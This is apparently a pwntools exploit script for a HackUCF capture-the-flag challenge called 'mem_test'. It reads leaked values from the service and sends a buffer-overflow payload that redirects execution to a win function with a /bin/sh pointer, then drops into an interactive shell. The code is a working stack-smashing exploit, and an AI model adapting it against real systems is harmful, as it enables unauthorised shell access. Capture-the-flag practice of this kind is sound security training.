from pwn import *

#context.log_level =False
local   = False
binary  = ELF('mem_test')

if local:
    conn = remote('localhost', 1234)
else:
    conn = remote('ctf.hackucf.org', 9004)

def getCanary():
    print conn.recvuntil("------Test Your Memory!-------" )
    conn.recvline() + conn.recvline()
    canary = conn.recvline()
    canary = canary.strip()
    canary = canary.strip('\n')
    print canary
    return str(canary)

def getMemAddress():
    #The output is :I know that mine is fine...see? : 0x8048980
    line = conn.recvline()
    print line
    memAddress = line.split(": ")[1]
    conn.recvuntil("> ")
    memAddress = p32(int(memAddress.strip(), 16))
    return memAddress

def makePayload(canary, memAddress):
    bufferFiller    = 23                # The amount of space we need to fill up
    returnAddress   = p32(0x8048866)    # Address of win_func
    hint            = p32(0x8048980)    # /bin/sh
    filler  = "God_Bless_Le_Memezzzzzz"
    assert len(filler) <= bufferFiller  # make sure meme is right length

    payload         = filler
    payload         += returnAddress
    payload         += hint*2           # since it pushes ebp+0x
    print "> " + payload
    return payload

def sendPayload(payload):
    conn.sendline(payload)
    conn.interactive()

if __name__ == "__main__":
    canary = getCanary()
    memAddress= getMemAddress()
    payload = makePayload(canary, memAddress)
    sendPayload(payload)
